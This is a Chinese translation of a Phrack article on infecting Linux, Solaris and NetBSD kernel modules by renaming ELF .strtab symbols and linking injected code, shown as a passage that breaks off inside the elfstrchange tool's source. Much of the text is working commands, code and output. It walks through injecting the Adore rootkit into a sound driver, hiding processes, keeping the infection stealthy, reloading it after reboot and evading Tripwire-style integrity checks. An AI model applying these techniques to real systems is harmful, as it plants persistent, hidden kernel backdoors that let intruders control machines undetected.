==Phrack Inc.==
Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f
|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ truff <
[email protected]> ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ translator: osmose <
[email protected]> ]=-------------=|
LKM 注射
--[ 内容
1 - 介绍
2 - ELF 基础知识
2.1 - The .symtab section
2.2 - The .strtab section
3 - 玩转 loadable kernel modules
3.1 - 模块加载
3.2 - 修改 .strtab section
3.3 - 插入代码
3.4 - 保持隐蔽性
4 - 实例
4.1 - 最简单的 LKM 感染
4.2 - 我还会回来的 （重启之后）
5 - 关于其他的操作系统
5.1 - Solaris
5.2 - *BSD
5.2.1 - FreeBSD
5.2.2 - NetBSD
5.2.3 - OpenBSD
6 - 结论
7 - 感谢
8 - 参考资料
9 - 源代码
9.1 - ElfStrChange
9.2 - Lkminject
--[ 1 - 介绍
这些年来，很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流
行现象吗？不是，lkm 的广泛使用得益于它强大的功能：可以隐藏文件，进程还有其他
一些妙用。对于第一代使用 lkm 的 rootkits，使用lsmod命令就可以轻易的找出它们。
我们见过许许多多隐藏模块的手法，比如在Plaguez的文章 [1]里提到的那种，还有更多
的在Adore Rootkit [2]里面用到的技巧。几年以后，我们还看到一些新技术：通过使用
/dev/kmem [3] 修改kernel内存映射（kernel memory image）。最后，参考资料[4]向
我们展示了静态内核补丁（static kernel patching）技术。这个技术解决了一个大问题：
rootkit在机器重启后可以重新加载。
（译者注：查找了一下lsmod的运作方式，供大家了解。"在kernel 2.0.x 时，指令
'lsmod'是去开启档案 '/proc/modules' 来得知系统中，已加载哪些 Module。不过
到了kernel 2.1.x以后，系统提供了函式' query_module'。因此，此时'lsmod'的实
作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。"）
本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够
重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernel
x86 2.4.x 系列，不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个
技术需要一些基础知识。内核模块是ELF object 文件，我们需要了解一点ELF格式，尤其
是关于符号命名部分的知识。此后，我们会接着学习模块加载机制以便了解如何把恶意代
码插入内核模块中。最后，实战操作一下模块的插入。
--[ 2 - ELF 基础
Executable（可执行） & Linking（链接） Format (ELF) 是用于linux操作系统上的
可执行文件格式。我们先要了解部分相关知识，以后用得着（如果想要全面了解ELF格式，
请参考[1]）。 当链接两个ELF object 文件的时候，链接程序需要知道每个object文件
里相关符号的一些情况。每个ELF object文件（比如lkm的那些object文件）包含了两个
部分（译者注：就是后文的 .symtab 和 .strtab 两个section ）。这两个section 是用
来存储每个符号的信息结构的。我们不但要研究它们，还要总结出一些对感染内核模块有
用的思路。
----[ 2.1 - .symtab section
这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时，就需要这些
数据。在/usr/include/elf.h里可以找到这个结构的定义：
/* Symbol table entry. */（符号列表入口）
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */（符号名（字符串列表索引））
Elf32_Addr st_value; /* Symbol value */（符号的值）
Elf32_Word st_size; /* Symbol size */（符号数据占用空间的大小）
unsigned char st_info; /* Symbol type and binding */（符号类型和绑定）
unsigned char st_other; /* Symbol visibility */（符号的可见性）
Elf32_Section st_shndx; /* Section index */（各section 的索引）
} Elf32_Sym;
这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引，而那些符号的名称就是
存储在 .strtab 里面的。
----[ 2.2 - .strtab section
.strtab section 是一个非空字符串的列表。正如我们上面看见的，Elf32_Sym里面的st_name
是 .strtab section 的索引。如果我们寻找的符号在某个字符串里，我们可以很方便的得到这个
字符串的偏移地址。下面是我们的计算公式：
offset_sym_name = offset_strtab + st_name
offset_strtab 是 .strtab section 相对于文件起始处的偏移地址，可以通过section 名称解
析机制获得。这和我们要谈的技术关系不是很大，这里就不深究了。参考资料[5]里面详细探讨了
这个问题，后面章节9.1给出了具体实现的代码。
现在可以说，在ELF object 文件里，我们可以很方便的找到符号名并修改它们。不过修改过程
中始终要牢记一点：.strtab section 是由连续的非空字符串组成的，这对修改后新的符号名是一
个限制：新名称的长度不能超过原来的那个长度，否则会殃及 .strtab 中下一个符号。（译者注：
这里和溢出的道理一样，新名称长度超过原先设定值，多出的部分就会写到后面一个符号名区域里，
覆盖后面有用的部分）
遵守了这一点，我们就能做到简单的修改符号名而不影响模块的正常运行，最终实现用一
个模块感染另一个模块。
--[ 3 - 玩转 loadable kernel modules
下面这段给出了动态加载模块程序的源代码。了解了这个，我们就能学会在模块中插入代
码了。
----[ 3.1 - 模块加载
内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。
我们感兴趣的东西是insmod.c文件里的init_module()函数。
static int init_module(const char *m_name, struct obj_file *f,
unsigned long m_size, const char *blob_name,
unsigned int noload, unsigned int flag_load_map)
{
(1) struct module *module;
struct obj_section *sec;
void *image;
int ret = 0;
tgt_long m_addr;
....
(2) module->init = obj_symbol_final_value(f,
obj_find_symbol(f, "init_module"));
(3) module->cleanup = obj_symbol_final_value(f,
obj_find_symbol(f, "cleanup_module"));
....
if (ret == 0 && !noload) {
fflush(stdout); /* Flush any debugging output */
(4) ret = sys_init_module(m_name, (struct module *) image);
if (ret) {
error("init_module: %m");
lprintf(
"Hint: insmod errors can be caused by incorrect module parameters, "
"including invalid IO or IRQ parameters.\n"
"You may find more information in syslog or the output from dmesg");
}
}
在 (1) 里，函数向一个结构体模块（struct module）填充了加载模块必须的数据。
需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针，分别指向
被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol()
函数遍历符号列表查找名字为init_module的符号，然后提取这个结构体符号（struct
symbol）并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出
init_module函数的地址。同理，在 (3) 里这个工作对于cleanup_module()又重复了一
遍。需要牢记的是，对于模块初始化或结束时调用的函数，他们在 .strtab section 的入口
分别对应着 init_module 和 cleanup_module。
当结构体模块填充完毕后，(4) 使用了 sys_init_module() 这个系统调用（syscall）
通知内核加载相应模块。
模块加载过程中程序调用了 sys_init_module()，其中有我们感兴趣的部分。这个函
数的代码可以在 /usr/src/linux/kernel/module.c 里找到：
asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
struct module mod_tmp, *mod;
char *name, *n_name, *name_tmp = NULL;
long namelen, n_namelen, i, error;
unsigned long mod_user_size;
struct module_ref *dep;
/* 很多sanity checks */
.....
/* 好了，上面是我们可以忍受的所有的sanity checks；剩下的拷贝如下。*/
(1) if (copy_from_user((char *)mod+mod_user_size,
(char *)mod_user+mod_user_size,
mod->size-mod_user_size)) {
error = -EFAULT;
goto err3;
}
/* 其他的sanity checks */
....
/* 初始化模块 */
atomic_set(&mod->uc.usecount,1);
mod->flags |= MOD_INITIALIZING;
(2) if (mod->init && (error = mod->init()) != 0) {
atomic_set(&mod->uc.usecount,0);
mod->flags &= ~MOD_INITIALIZING;
if (error > 0) /* Buggy module */
error = -EBUSY;
goto err0;
}
atomic_dec(&mod->uc.usecount);
在一些sanity check之后，结构体模块被 (1) 里的copy_from_user()从用户空间拷贝
到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的
init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。
----[ 3.2 - 修改 .strtab section
前面已经提到了，通过检查 .strtab section 里的字符串，我们可以定位模块中init函数的
地址。而通过修改这个字符串，我们可以在模块被加载的时候执行其他的函数。
修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们
后面要用到的 -r 参数（章节3.3）不兼容。在章节5.1里，我们会看到如何用xxd完成这
个工作。我写了一个工具（章节9.1）自动执行这些。
下面是一个简单的例子：
$ cat test.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
printk ("<1> Into init_module()\n");
return 0;
}
int evil_module(void)
{
printk ("<1> Into evil_module()\n");
return 0;
}
int cleanup_module(void)
{
printk ("<1> Into cleanup_module()\n");
return 0;
}
$ cc -O2 -c test.c
让我们看看 .symtab 和 .strtab 这两个section:
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 evil_module
0000000000000028 g F .text 0000000000000014 cleanup_module
我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。
首先必须把 init_module 这个符号重命名。在同一个ELF object文件里，两个性质相同的符
号名字不能重复。下面是操作过程：
重命名
1) init_module ----> dumm_module
2) evil_module ----> init_module
$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module
$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module
$ objdump -t test.o
test.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 test.c
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 g F .text 0000000000000014 dumm_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000014 g F .text 0000000000000014 init_module
0000000000000028 g F .text 0000000000000014 cleanup_module
# insmod test.o
# tail -n 1 /var/log/kernel
May 4 22:46:55 accelerator kernel: Into evil_module()
正如我们看到的，evil_module() 被当作 init_module() 调用了。
----[ 3.3 - 插入代码
不断发展的技术使得替换函数并且执行变成了可能，不过这还不是特别有趣。如果我们
能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点－－使用
ld 这个法宝。
$ cat original.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int init_module(void)
{
printk ("<1> Into init_module()\n");
return 0;
}
int cleanup_module(void)
{
printk ("<1> Into cleanup_module()\n");
return 0;
}
$ cat inject.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int inje_module (void)
{
printk ("<1> Injected\n");
return 0;
}
$ cc -O2 -c original.c
$ cc -O2 -c inject.c
重要部分开始了。由于内核模块都是可以重定位的ELF object文件，代码插入并不是个
问题。这种object文件在链接后可以共享彼此的符号。同样这里有一个原则：要链接在一
起的几个模块里不能有同名符号。使用 ld 命令带上 -r 参数完成一个部分链接，不改变
链接文件的性质。这样声明的模块可以被内核加载。
$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o
$ objdump -t original.o
original.o: file format elf32-i386
SYMBOL TABLE:
0000000000000000 l d .text 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .modinfo 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d .bss 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l df *ABS* 0000000000000000 original.c
0000000000000000 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000000 l df *ABS* 0000000000000000 inject.c
0000000000000016 l O .modinfo 0000000000000016 __module_kernel_version
0000000000000014 g F .text 0000000000000014 cleanup_module
0000000000000000 g F .text 0000000000000014 init_module
0000000000000000 *UND* 0000000000000000 printk
0000000000000028 g F .text 0000000000000014 inje_module
这样 inje_module() 函数就被链接进了模块。现在我们要修改 .strtab section 以保证模块
加载时被调用的是inje_module()而不是init_module()。
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwriten with dumm_module
$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwriten with init_module
开火吧：
# insmod original.o
# tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel: Injected
奇迹发生了 :)
----[ 3.4 - 保持隐蔽性
大多数时候，我们要感染那些正在使用的的模块。如果我们用别的函数替换
了init_module()，模块原先的功能就不能发挥了。明眼人很容易发现这个被感染
的模块。有一个解决方法可以既保留原有的功能，又能插入我们的代码。.strtab
被 hack 了以后，真正的 init_module() 函数重命名为dumm_module。如果我
们在插入的 evil_module() 函数里调用 dumm_module()，那么真正的 init_module()
就会在模块初始化时执行，从而模块原有的功能也不会被破坏。
替换
init_module ------> dumm_module
inje_module ------> init_module (将会调用 dumm_module)
$ cat stealth.c
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
int inje_module (void)
{
dumm_module ();
printk ("<1> Injected\n");
return 0;
}
$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwriten with dumm_module
$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwriten with init_module
# insmod original.o
# tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel: Into init_module()
May 17 14:57:31 accelerator kernel: Injected
好极了，我们插入的代码在正常代码运行之后也得到了执行，这下够隐蔽的了。
--[ 4 - 实例
下面修改 init_module() 的方法对 cleanup_module() 函数也同样适用。这样，我们就
可以把一个完整的模块插入另一个模块中去了。我曾经通过简单的处理把著名的 Adore[2]
rootkit 插入到我的声卡驱程（i810_audio.o）里。
----[ 4.1 - 最简单的 LKM 感染
1) 我们必须对adore.c稍稍做点修改
* 在 init_module() 函数里加入对 dumm_module() 的调用
* 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用
* 把 init_module 函数名改成 evil_module
* 把 cleanup_module 函数名改成 evclean_module
（译者注：注意始终保持函数名长度和原名称的一致性）
2) 用 make 命令编译 Adore
3) 把 adore.o 和 i810_audio.o 链接
ld -r i810_audio.o adore.o -o evil.o
如果将要被插入的模块已经加载了，必须先卸载它：
rmmod i810_audio
mv evil.o i810_audio.o
4) 修改 .strtab section
替换
init_module ------> dumm_module
evil_module ------> init_module (将会调用 dumm_module)
cleanup_module ------> evclean_module
evclean_module ------> cleanup_module (将会调用 evclean_module)
$ ./elfstrchange i810_audio.o init_module dumm_module
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module
$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module
$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module
$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module
5) 加载并且测试模块
# insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h hide file
u unhide file
r execute as root
R remove PID forever
U uninstall adore
i make PID invisible
v make PID visible
# ps
PID TTY TIME CMD
2004 pts/3 00:00:00 bash
2083 pts/3 00:00:00 ps
# ./ava i 2004
Checking for adore 0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.
root@accelerator:/home/truff/adore# ps
PID TTY TIME CMD
#
完美吧 :) 为了方便懒人干活，我写了一个简单的shell脚本（章节 9.2）做这些工作。
----[ 4.2 - 我还会回来的 （重启之后）
当模块加载时，为了以后进一步的需要，我们有两种选择：
* 用感染后的模块替换 /lib/modules/ 里真正的模块。
这可以保证重启后我们的后门能够被重新加载。但是，这也会被像 Tripwire[7] 这样
的HIDS（Host Intrusion Detection System 文件入侵监测系统）发现。不过不要太担
心，内核模块既不是可执行文件也不是一个suid文件，如果管理员配置的HIDS规则
不是太变态，还是查不到我们头上的。
* 不去动那些放在 /lib/modules 下真正的内核模块，同时删除被感染的模块。这样，即
使HIDS监测文件的修改情况，它们也只能无功而返。
--[ 5 - 关于其他的操作系统
----[ 5.1 - Solaris
我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数：
- _init 模块初始化的时候调用
- _fini 模块卸载时调用
- _info 当用户使用modinfo命令时，负责输出模块信息
$ uname -srp
SunOS 5.7 sparc
$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>
extern struct mod_ops mod_miscops;
static struct modlmisc modlmisc = {
&mod_miscops,
"Real Loadable Kernel Module",
};
static struct modlinkage modlinkage = {
MODREV_1,
(void *)&modlmisc,
NULL
};
int _init(void)
{
int i;
if ((i = mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not install module\n");
else
cmn_err(CE_NOTE,"mod: successfully installed");
return i;
}
int _info(struct modinfo *modinfop)
{
return (mod_info(&modlinkage, modinfop));
}
int _fini(void)
{
int i;
if ((i = mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not remove module\n");
else
cmn_err(CE_NOTE,"mod: successfully removed");
return i;
}
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod: ELF 64-bit MSB relocatable SPARCV9 Version 1
正如我们在linux例子里看到的，我们要插入的代码里必须包含对真正 init 函数的调
用，这样模块才能和原来一样正常工作。不过，我们要面对一个问题：如果我们在模块
链接之后再修改 .strtab section ，动态加载程序无法找到 _dumm() 函数，模块自然
也无法被正常加载。在这个问题上我没有太深入的研究，但是我觉得Solaris的动态加载
程序不会在模块里查找那些没有被定义的符号。所以问题解决了：我们只要在链接之前把
.strtab入口的 _init 重命名为 _dumm 就可以了。
$ readelf -S mod
有10个section 的header（section headers），它们的偏移地址从 0x940 开始。
Section Headers:
[Nr] Name Type Address Offset
Size EntSize Flags Link Info Align
[ 0] NULL 0000000000000000 00000000
0000000000000000 0000000000000000 0 0 0
[ 1] .text PROGBITS 0000000000000000 00000040
0000000000000188 0000000000000000 AX 0 0 4
[ 2] .rodata PROGBITS 0000000000000000 000001c8
000000000000009b 0000000000000000 A 0 0 8
[ 3] .data PROGBITS 0000000000000000 00000268
0000000000000050 0000000000000000 WA 0 0 8
[ 4] .symtab SYMTAB 0000000000000000 000002b8
0000000000000210 0000000000000018 5 e 8
[ 5] .strtab STRTAB 0000000000000000 000004c8
0000000000000065 0000000000000000 0 0 1
[ 6] .comment PROGBITS 0000000000000000 0000052d
0000000000000035 0000000000000000 0 0 1
[ 7] .shstrtab STRTAB 0000000000000000 00000562
000000000000004e 0000000000000000 0 0 1
[ 8] .rela.text RELA 0000000000000000 000005b0
0000000000000348 0000000000000018 4 1 8
[ 9] .rela.data RELA 0000000000000000 000008f8
0000000000000048 0000000000000018 4 3 8
Flag 注释：
W (write写), A (alloc分配), X (execute执行), M (merge合并), S (strings字符串)
I (info信息), L (link order链接顺序), G (group组), x (unknown未知)
O (extra OS processing required需要额外的系统处理), o (OS specific制定操作系统)
p (processor specific指定处理器)
.strtab section 的起始偏移地址为 0x4c8，大小是 64 位。下面我们用vi 和 xxd 作为我们的
16位编辑器修改 .strtab section 。用 vi mod 这个命令在vi里打开模块。然后输入 :%!xxd 把
模块转换成16进制。你会看到下面这些字符：
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69 tall._init.mod_i
^^^^^^^^^
我们用 _dumm 替换 _init，只修改四个字节。
00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64 .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73 ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69 tall._init.mod_i
^^^^^^^^^ ^^^^
^^^^
（译者注：这里似乎应该是dumm，
可能是笔误）
用 :%!xxd -r 这个命令把模块从16进制转换回去，保存退出。然后我们来证实一下我们
的修改是否成功。
$ objdump -t mod
mod: file format elf64-sparc
SYMBOL TABLE:
0000000000000000 l df *ABS* 0000000000000000 mod
0000000000000000 l d .text 0000000000000000
0000000000000000 l d .rodata 0000000000000000
0000000000000000 l d .data 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d .comment 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l d *ABS* 0000000000000000
0000000000000000 l df *ABS* 0000000000000000 mod.c
0000000000000010 l O .data 0000000000000040 modlinkage
0000000000000000 l O .data 0000000000000010 modlmisc
0000000000000000 *UND* 0000000000000000 mod_miscops
00000000000000a4 g F .text 0000000000000040 _info
0000000000000000 *UND* 0000000000000000 mod_install
0000000000000000 g F .text 0000000000000188 _dumm
0000000000000000 *UND* 0000000000000000 mod_info
0000000000000000 *UND* 0000000000000000 mod_remove
00000000000000e4 g F .text 0000000000000188 _fini
0000000000000000 *UND* 0000000000000000 cmn_err
可以看到 _init 已经被 _dumm 替换了。现在我们可以直接插入一个名为 _init
的函数了。
$ cat evil.c
int _init(void)
{
_dumm ();
cmn_err(1,"evil: successfully installed");
return 0;
}
$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o
用ld命令插入模块：
$ ld -r -o evil mod inject
加载模块：
# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed
利用 _fini 函数把一个完整模块插入其他模块的操作和上面的一样。
----[ 5.2 - *BSD
------[ 5.2.1 - FreeBSD
% uname -srm
FreeBSD 4.8-STABLE i386
% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped
正如我们看到的，FreeBSD 内核模块是共享object的，所以我们无法使用ld命令把恶意
代码和模块链接到一起。不仅如此，FreeBSD 加载模块的机制和 Linux 以及 Solaris 都不
一样。看看 /usr/src/sys/kern/kern_linker.c 你就明白了。init/cleanup 的函数名可以
五花八门。初始化时，加载程序直接在 .data section 的一个结构体内找到 init 函数的
地址，而不是靠函数名判断。因此上面的hack .strtab 的方法不再适用了。
------[ 5.2.2 - NetBSD
$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
(SYSV), not stripped
NetBSD 内核模块是可以重定位的 ELF object 文件，可以插入模块。当使用 modload 命
令加载内核模块的时候，加载程序把模块和内核链接起来，同时执行模块入口处的代码（代
码放在ELF header里）。
链接以后，我们可以修改模块入口。不过没有必要这样做。modload 命令提供了"-e"参
数，方便我们设置哪个符号为入口点。
下面是一个例子，我们要感染的模块：
$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>
MOD_MISC("gentil");
int gentil_lkmentry(struct lkm_table *, int, int);
int gentil_lkmload(struct lkm_table *, int);
int gentil_lkmunload(struct lkm_table *, int);
int gentil_lkmstat(struct lkm_table *, int);
int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
gentil_lkmstat);
}
int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
printf("gentil: Hello, world!\n");
return (0);
}
int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
printf("gentil: Goodbye, world!\n");
return (0);
}
int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
printf("gentil: How you doin', world?\n");
return (0);
}
下面这部分是要插入的代码：
$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>
int gentil_lkmentry(struct lkm_table *, int, int);
int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
switch(cmd) {
case LKM_E_LOAD:
printf("evil: in place\n");
break;
case LKM_E_UNLOAD:
printf("evil: i'll be back!\n");
break;
case LKM_E_STAT:
printf("evil: report in progress\n");
break;
default:
printf("edit: unknown command\n");
break;
}
return gentil_lkmentry(lkmt, cmd, ver);
}
分别编译了 gentil 和 evil 之后，我们把它们链接到一起：
$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o
# modload -e evil_entry gentil.o
Module loaded as ID 2
# modstat
Type Id Offset Loadaddr Size Info Rev Module Name
DEV 0 -1/108 d3ed3000 0004 d3ed3440 1 mmr
DEV 1 -1/180 d3fa6000 03e0 d4090100 1 nvidia
MISC 2 0 e45b9000 0004 e45b9254 1 gentil
# modunload -n gentil
# dmesg | tail
evil: in place
gentil: Hello, world!
evil: report in progress
gentil: How you doin', world?
evil: i'll be back!
gentil: Goodbye, world!
好了，一切如此完美 :)
------[ 5.2.3 - OpenBSD
OpenBSD 不使用 x86 构架的 ELF 文件，所以这个技术没有用武之地。我没有在那些使
用ELF的平台上测试过，但是我觉得它们看起来和NetBSD差不多，上面的hack技术应该
也适用。如果你在使用ELF的 OpenBSD 平台上成功了，告诉我一声。
--[ 6 - 结论
这篇文章补充了一些在内核中集成代码的方法。我提出这个技术是因为你只要做很少的处
理就可以实现代码的插入，的确很有趣。
好好玩吧 :)
--[ 7 - 感谢
我要感谢 mycroft, OUAH, aki 和 afrique 给我的意见和建议。非常感谢 klem 教会我
逆向工程。
感谢 FXKennedy 在 NetBSD 方面给我的帮助。
A big kiss to Carla for being wonderfull. （译者注：这句话我就不翻了^_^）
最后感谢所有 #root 的人们， `spud， hotfyre， funka， jaia，climax，
redoktober ...
--[ 8 - 参考资料
[1] Weakening the Linux Kernel by Plaguez
http://www.phrack.org/show.php?p=52&a=18
[2] The Adore rootkit by stealth
http://stealth.7350.org/rootkits/
[3] Runtime kernel kmem patching by Silvio Cesare
http://vx.netlux.org/lib/vsc07.html
[4] Static Kernel Patching by jbtzhm
http://www.phrack.org/show.php?p=60&a=8
[5] Tool interface specification on ELF
http://segfault.net/~scut/cpu/generic/TIS-ELF_v1.2.pdf
[6] Modutils for 2.4.x kernels
ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils/v2.4
[7] Tripwire
http://www.tripwire.org
[8] Solaris Loadable Kernel Modules by Plasmoid
http://www.thc.org/papers/slkm-1.0.html
--[ 9 - 源代码
----[ 9.1 - ElfStrChange
/*
* elfstrchange.c by truff <
[email protected]>
* Change the value of a symbol name in the .strtab section
*
* Usage: elfstrchange elf_object sym_name sym_name_replaced
*
*/
#include <stdlib.h>
#include <stdio.h>
#include <elf.h>
#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
Elf32_Shdr *shstrtable, char *res, size_t len);
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
Elf32_Shdr *strtable, char *res, size_t len);
int main (int argc, char **argv)
{
int i;
int len = 0;
char *string;
FILE *fd;
Elf32_Ehdr hdr;
Elf32_Shdr symtab, strtab;
Elf32_Sym sym;
Elf32_Off symoffset;
fd = fopen (argv[1], "r+");
if (fd == NULL)
FATAL ("fopen");
if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
FATAL ("Elf header corrupted");
if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
{
fprintf (stderr, "Can't get .symtab section\n");
exit (EXIT_FAILURE);
}
if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
{
fprintf (stderr, "Can't get .strtab section\n");
exit (EXIT_FAILURE);
}
symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
if (symoffset == -1)
{
fprintf (stderr, "Symbol %s not found\n", argv[2]);
exit (EXIT_FAILURE);
}
printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
if (fseek (fd, symoffset, SEEK_SET) == -1)
FATAL ("fseek");
if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
FATAL ("fwrite");
printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
fclose (fd);
return EXIT_SUCCESS;
}
Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab,
Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
{
int i;
char symname[255];
Elf32_Off offset;
for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
{
if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize),
SEEK_SET) == -1)
FATAL ("fseek");
if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
FATAL ("Symtab corrupted");
memset (symname, 0, sizeof (symname));
